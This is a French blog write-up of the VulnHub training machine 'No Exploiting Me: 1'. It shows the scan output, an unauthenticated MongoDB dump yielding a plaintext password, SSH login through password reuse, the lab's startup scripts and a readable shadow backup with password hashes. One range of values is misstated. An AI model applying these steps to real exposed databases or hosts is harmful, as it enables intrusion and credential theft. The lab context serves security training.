Présentation et mise en place
No Exploiting Me: 1 est un CTF créé par botnet_hunter, l’auteur de la série de challenges Bot Challenges téléchargeable sur VulnHub.
Ce CTF ne fait pas partie de cette série, l’objectif est ici de s’entraîner à l’identification et l’exploitation de vulnérabilités dans les bases NoSQL, les scripts PHP et les systèmes Unix.
Le challenge a été plutôt simple à résoudre en revanche il a été plus compliqué de faire fonctionner la VM :(
L’auteur n’a pas dû prendre en compte le fait que UDEV montre quelques réticences à monter une interface réseau pour une nouvelle adresse MAC or quand vous montez le VDI dans VirtualBox lors de la création d’une nouvelle VM vous changez forcément l’adresse MAC.
Pour mettre en place la VM j’ai dû récupérer l’adresse MAC d’origine dans un fichier UDEV depuis l’image disque.
Pour cela j’ai suivi une procédure qui consiste à charger le module noyau nbd, utiliser qemu-nbd pour avoir les différentes partitions dans /dev/ et finalement monter le disque avec mount.
Mais rassurez-vous : dans mon immense générosité, je vous donne ici l’adresse MAC d’origine pour que vous n’ayez plus qu’à la mettre correctement dans les préférences de la VM : 08:00:27:ae:1f:6e.
Laisse gros ! (Let’s go en lorrain)
En dehors des ports habituels on remarque un nouvel invité dans les services présents :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-02 07:57 CEST
Nmap scan report for 192.168.1.56
Host is up (0.00019s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
| ssh-hostkey:
| 1024 38:08:f7:c6:a2:57:94:c1:d8:8b:7e:a9:7f:84:42:8a (DSA)
|_ 2048 07:90:a3:20:c6:b8:8a:cd:d0:05:06:4b:36:1b:9d:cc (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Login Page
27017/tcp open mongodb MongoDB 2.4.6
| mongodb-databases:
| databases
| 2
| empty = true
| name = admin
| sizeOnDisk = 1
| 0
| empty = false
| name = NoExploitingMe
| sizeOnDisk = 218103808
| 1
| empty = false
| name = local
| sizeOnDisk = 33554432
| totalSize = 251658240
|_ ok = 1
| mongodb-info:
| MongoDB Build info
| compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual ---snip--- -fno-builtin-memcmp -O3
| version = 2.4.6
| sysInfo = Linux bs-linux32.10gen.cc 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49
| gitVersion = b9925db5eac369d77a3a5f5d98a145eaaacd9673
| maxBsonObjectSize = 16777216
| ok = 1
| debug = false
| bits = 32
| loaderFlags = -fPIC -pthread -rdynamic
| javascriptEngine = V8
| versionArray
| 2 = 6
| 3 = 0
| 0 = 2
| 1 = 4
| allocator = system
| Server status
| metrics
| queryExecutor
| scanned = 525
| record
| moves = 0
| ttl
| deletedDocuments = 0
| passes = 247
| operation
| idhack = 0
| fastmod = 0
| scanAndOrder = 0
| getLastError
| wtime
| totalMillis = 0
| num = 0
| wtimeouts = 0
| document
| updated = 0
| returned = 31
| inserted = 12
| deleted = 11
| repl
| oplog
| insertBytes = 0
| insert
| totalMillis = 0
| num = 0
| preload
| docs
| totalMillis = 0
| num = 0
| indexes
| totalMillis = 0
| num = 0
| buffer
| maxSizeBytes = 268435456
| sizeBytes = 0
| count = 0
| apply
| ops = 0
| batches
| totalMillis = 0
| num = 0
| network
| getmores
| totalMillis = 0
| num = 0
| readersCreated = 0
| ops = 0
| bytes = 0
| uptimeEstimate = 14672
| pid = 808
| globalLock
| lockTime = 51169
| activeClients
| writers = 0
| readers = 0
| total = 0
| totalTime = 48976313000
| currentQueue
| writers = 0
| readers = 0
| total = 0
| writeBacksQueued = false
| ok = 1
| recordStats
| admin
| accessesNotInMemory = 0
| pageFaultExceptionsThrown = 0
| local
| accessesNotInMemory = 0
| pageFaultExceptionsThrown = 0
| pageFaultExceptionsThrown = 0
| accessesNotInMemory = 0
| NoExploitingMe
| accessesNotInMemory = 0
| pageFaultExceptionsThrown = 0
| opcountersRepl
| insert = 0
| delete = 0
| update = 0
| command = 0
| getmore = 0
| query = 0
| uptime = 48976
| locks
| .
| timeLockedMicros
| R = 203
| W = 51169
| timeAcquiringMicros
| R = 22
| W = 18
| admin
| timeLockedMicros
| r = 39
| w = 0
| timeAcquiringMicros
| r = 3
| w = 0
| NoExploitingMe
| timeLockedMicros
| r = 23849
| w = 61211
| timeAcquiringMicros
| r = 682
| w = 30839
| local
| timeLockedMicros
| r = 17457
| w = 0
| timeAcquiringMicros
| r = 1751
| w = 0
| localTime = 1404280716619
| network
| bytesIn = 3857
| numRequests = 50
| bytesOut = 8212
| uptimeMillis = 48976313
| version = 2.4.6
| opcounters
| insert = 12
| delete = 2
| update = 0
| command = 32
| getmore = 0
| query = 502
| mem
| virtual = 360
| resident = 32
| supported = true
| mapped = 240
| bits = 32
| host = NoExploitingMe
| indexCounters
| accesses = 22
| resets = 0
| hits = 22
| misses = 0
| missRatio = 0
| backgroundFlushing
| total_ms = 5
| average_ms = 0.020242914979757
| last_ms = 0
| flushes = 247
| last_finished = 1404280705165
| extra_info
| page_faults = 162
| heap_usage_bytes = 23550376
| note = fields vary by platform
| cursors
| timedOut = 0
| totalOpen = 0
| clientCursors_size = 0
| process = mongod
| connections
| available = 817
| current = 2
| totalCreated = 55
| asserts
| rollovers = 0
| regular = 0
| user = 1
| warning = 1
|_ msg = 0
28017/tcp open http MongoDB http console
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: mongod NoExploitingMe
MAC Address: 08:00:27:AE:1F:6E (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: Host: NoExploitingMe; OS: Linux; CPE: cpe:/o:linux:linux_kernel
It’s not a bug, it’s a feature
MongoDB est un système de base de données NoSQL bien connu. Par contre il ne dispose pas d’un système d’authentification par conséquence si le service est exposé sur Internet tout le monde peut fouiller dans la base.
Le projet Un1c0rn recense différents serveurs vulnérables à un accès MongoDB ouvert.
Pour se connecter on se sert du client officiel MongoDB. Notez que pour certaines plateformes on trouve des binaires précompilés.
On passe en argument l’adresse IP du serveur ainsi que le nom de la base (récupérée plus tôt par Nmap, la vie est bien faite) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ ./mongo 192.168.5.56/NoExploitingMe
MongoDB shell version: 2.6.3
connecting to: 192.168.5.56/NoExploitingMe
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
Server has startup warnings:
Tue Jul 1 08:05:04.297 [initandlisten]
Tue Jul 1 08:05:04.297 [initandlisten] ** NOTE: This is a 32 bit MongoDB binary.
Tue Jul 1 08:05:04.297 [initandlisten] ** 32 bit builds are limited to less than 2GB of data (or less with --journal).
Tue Jul 1 08:05:04.297 [initandlisten] ** Note that journaling defaults to off for 32 bit and is currently off.
Tue Jul 1 08:05:04.297 [initandlisten] ** See http://dochub.mongodb.org/core/32bit
Tue Jul 1 08:05:04.297 [initandlisten]
> help
db.help() help on db methods
db.mycoll.help() help on collection methods
sh.help() sharding helpers
rs.help() replica set helpers
help admin administrative help
help connect connecting to a db help
help keys key shortcuts
help misc misc things to know
help mr mapreduce
show dbs show database names
show collections show collections in current database
show users show users in current database
show profile show most recent system.profile entries with time >= 1ms
show logs show the accessible logger names
show log [name] prints out the last segment of log in memory, 'global' is default
use <db_name> set current database
db.foo.find() list objects in collection foo
db.foo.find( { a : 1 } ) list objects in foo where a == 1
it result of the last line evaluated; use to further iterate
DBQuery.shellBatchSize = x set default number of items to display on shell
exit quit the mongo shell
> show collections
hashes
system.indexes
users
> db.hashes.find()
{ "_id" : ObjectId("53b2ce213d9f3b7ecb689e0c"), "hash" : "a9b7ba70783b617e9998dc4dd82eb3c5" }
{ "_id" : ObjectId("53b2ce213360db12c1cc98c4"), "hash" : "b8c37e33defde51cf91e1e03e51657da" }
{ "_id" : ObjectId("53b2ce21ab519d66c7e8c3fa"), "hash" : "fba9d88164f3e2d9109ee770223212a0" }
{ "_id" : ObjectId("53b2ce21a9b1a0d11763f3cb"), "hash" : "aa68c75c4a77c87f97fb686b2f068676" }
{ "_id" : ObjectId("53b2ce21e1f720407fee85d0"), "hash" : "fed33392d3a48aa149a87a38b875ba4a" }
{ "_id" : ObjectId("53b2ce21945ebf8f0a006cf6"), "hash" : "2387337ba1e0b0249ba90f55b2ba2521" }
{ "_id" : ObjectId("53b2ce219c83c438e69f11bd"), "hash" : "9246444d94f081e3549803b928260f56" }
{ "_id" : ObjectId("53b2ce21e840353b0712d206"), "hash" : "d7322ed717dedf1eb4e6e52a37ea7bcd" }
{ "_id" : ObjectId("53b2ce219dc693433f455c50"), "hash" : "1587965fb4d4b5afe8428a4a024feb0d" }
{ "_id" : ObjectId("53b2ce211092759e74e9c5a9"), "hash" : "31b3b31a1c2f8a370206f111127c0dbd" }
> db.users.find()
{ "_id" : ObjectId("53b2ce21bfbccdd3debcdcba"), "user" : "badadmin", "password" : "yes, this password does get reused" }
Dans la table hashes on trouve des hash MD5 vite cassés via les sites spécialisés : il s’agit des hashs des chiffres allant de 1009 à 1009.
Dans la table users on trouve un couple user/password qui nous permet de nous connecter sur le site web (port 80).
No feature !
Une fois connecté on se retrouve face à un formulaire qui permet de faire un lookup (on saisit un nom d’hôte et ça retourne l’adresse IP).
Comme on peut s’y attendre ce script est vulnérable à une faille d’injection de commande shell.
Mais cette vulnérabilité n’a que peu d’intérêt, car comme le laisse supposer le mot de passe récupéré plus tôt on peut se connecter en tant que badadmin via ssh… et ça passe.
1
2
3
4
badadmin@NoExploitingMe:~$ id
uid=1000(badadmin) gid=1000(badadmin) groups=1000(badadmin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
badadmin@NoExploitingMe:~$ uname -a
Linux NoExploitingMe 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
À la racine du système de fichier, on trouve un script genHashes.py
dont le contenu est le suivant :
1
2
3
4
5
6
7
8
import hashlib
import os
for i in range(1000,1010):
m = hashlib.md5()
m.update(str(i))
query = "db.hashes.save({'hash': '" + m.hexdigest() + "'})"
os.system("mongo localhost:27017/NoExploitingMe --eval \"print(" + query + ")\"")
Ce script est appelé depuis rc.local
:
1
2
3
4
5
6
mongo NoExploitingMe --eval "db.users.remove()" >> /dev/null
mongo NoExploitingMe --eval "db.users.save({'user':'badadmin','password':'yes, this password does get reused'})" >> /dev/null
mongo NoExploitingMe --eval "db.hashes.remove()" >> /dev/null
python /genHashes.py >> /dev/null
exit 0
Administrateur Labavure
Maintenant on cherche comment passer root et après recherche je n’ai trouvé que cette backup de /etc/shadow trop accessible dans /etc :
1
-rw------- 1 badadmin root 783 Sep 1 2013 shadow.backup
Contenu :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root:$6$76E0ztyw$sgBZAekia9WO8k3bM2/xpPVkISpvmB7SDIzjmZHi0uN8wHfdUSfpgQ1AZpdtA6rRGZN7SYcHQujSHF3xwog030:15950:0:99999:7:::
daemon:*:15949:0:99999:7:::
bin:*:15949:0:99999:7:::
sys:*:15949:0:99999:7:::
sync:*:15949:0:99999:7:::
games:*:15949:0:99999:7:::
man:*:15949:0:99999:7:::
lp:*:15949:0:99999:7:::
mail:*:15949:0:99999:7:::
news:*:15949:0:99999:7:::
uucp:*:15949:0:99999:7:::
proxy:*:15949:0:99999:7:::
www-data:*:15949:0:99999:7:::
backup:*:15949:0:99999:7:::
list:*:15949:0:99999:7:::
irc:*:15949:0:99999:7:::
gnats:*:15949:0:99999:7:::
nobody:*:15949:0:99999:7:::
libuuid:!:15949:0:99999:7:::
badadmin:$6$ShlSo9yK$iV8rDXanfKij2AlFTDHlk7O6thRUZsTSFHL7aHclHRgzOeuJoVtMeu3jAqzodilguinqnL6rFC2h7Q5ihU9.p/:15950:0:99999:7:::
mongodb:*:15949:0:99999:7:::
sshd:*:15950:0:99999:7:::
Les hashs étant en sha512 c’est difficile de casser le mot de passe root. A raison de 400 tentatives la seconde on en a pour un moment.
Le mot de passe n’étant pas tombé avec la wordlist de RockYou j’ai préféré laisser tomber.
Published July 02 2014 at 18:41